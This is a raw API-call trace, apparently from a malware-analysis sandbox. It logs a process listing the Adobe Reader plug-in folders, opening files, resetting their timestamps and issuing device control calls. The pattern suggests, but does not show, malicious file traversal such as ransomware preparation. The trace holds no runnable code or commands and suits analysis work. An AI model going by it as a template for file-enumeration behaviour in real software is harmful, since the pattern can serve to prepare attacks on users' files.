ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.KOR", cAlternateFileName="")) returned 1 [0083.537] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d723420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x44000, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.mpp", cAlternateFileName="")) returned 1 [0083.537] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d68aea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.NLD", cAlternateFileName="")) returned 1 [0083.537] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d76f6e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.NOR", cAlternateFileName="")) returned 1 [0083.537] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.PTB", cAlternateFileName="")) returned 1 [0083.537] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.SUO", cAlternateFileName="")) returned 1 [0083.537] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.SVE", cAlternateFileName="")) returned 1 [0083.537] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.CAT", cAlternateFileName="")) returned 1 [0083.537] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6d7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.CHS", cAlternateFileName="")) returned 1 [0083.537] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.CHT", cAlternateFileName="")) returned 1 [0083.537] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d68aea0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.DAN", cAlternateFileName="")) returned 1 [0083.537] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d749580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.DEU", cAlternateFileName="")) returned 1 [0083.537] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.ESP", cAlternateFileName="")) returned 1 [0083.537] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.EUQ", cAlternateFileName="")) returned 1 [0083.537] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.FRA", cAlternateFileName="")) returned 1 [0083.537] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.ITA", cAlternateFileName="")) returned 1 [0083.537] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.JPN", cAlternateFileName="")) returned 1 [0083.537] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6fd2c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.KOR", cAlternateFileName="")) returned 1 [0083.537] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d723420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x35400, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.mpp", cAlternateFileName="")) returned 1 [0083.537] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d6d7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.NLD", cAlternateFileName="")) returned 1 [0083.537] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d76f6e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.NOR", cAlternateFileName="")) returned 1 [0083.537] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.PTB", cAlternateFileName="")) returned 1 [0083.537] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.SUO", cAlternateFileName="")) returned 1 [0083.537] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.SVE", cAlternateFileName="")) returned 1 [0083.537] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.SVE", cAlternateFileName="")) returned 0 [0083.537] GetLastError () returned 0x12 [0083.538] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2e98) returned 1 [0083.538] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0083.539] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2fa0) returned 1 [0083.539] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2d90) returned 1 [0083.539] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPP_CZE", cAlternateFileName="")) returned 1 [0083.539] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_cze"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.559] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_cze"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0083.559] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0083.559] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11ec790 [0083.560] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0083.560] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0083.560] NtClose (Handle=0x180) returned 0x0 [0083.560] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a2d90) returned 1 [0083.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.560] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2d90 [0083.561] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.561] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2fa0 [0083.561] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e91c0 [0083.561] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.561] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.CZE", cAlternateFileName="")) returned 1 [0083.561] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.562] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.562] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.562] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.562] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.562] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a2e98 [0083.563] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.563] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216720 [0083.563] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12af7b0 [0083.563] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.563] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.CZE", cAlternateFileName="")) returned 1 [0083.563] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.564] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.564] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.564] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.564] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.564] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216740 [0083.564] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12af8b8 [0083.565] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.565] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="QuickTime.CZE", cAlternateFileName="")) returned 1 [0083.565] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.565] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.565] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.566] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.566] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.566] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216760 [0083.566] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12af9c0 [0083.566] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.566] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.CZE", cAlternateFileName="")) returned 1 [0083.567] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.567] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.567] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.567] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.567] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.568] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1216780 [0083.568] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12afac8 [0083.568] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.568] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsMedia.CZE", cAlternateFileName="")) returned 0 [0083.568] GetLastError () returned 0x12 [0083.568] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9040 [0083.568] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0083.568] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d82ddc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d853f20, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.568] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d82ddc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash.CZE", cAlternateFileName="")) returned 1 [0083.568] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mcimpp.CZE", cAlternateFileName="")) returned 1 [0083.568] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, 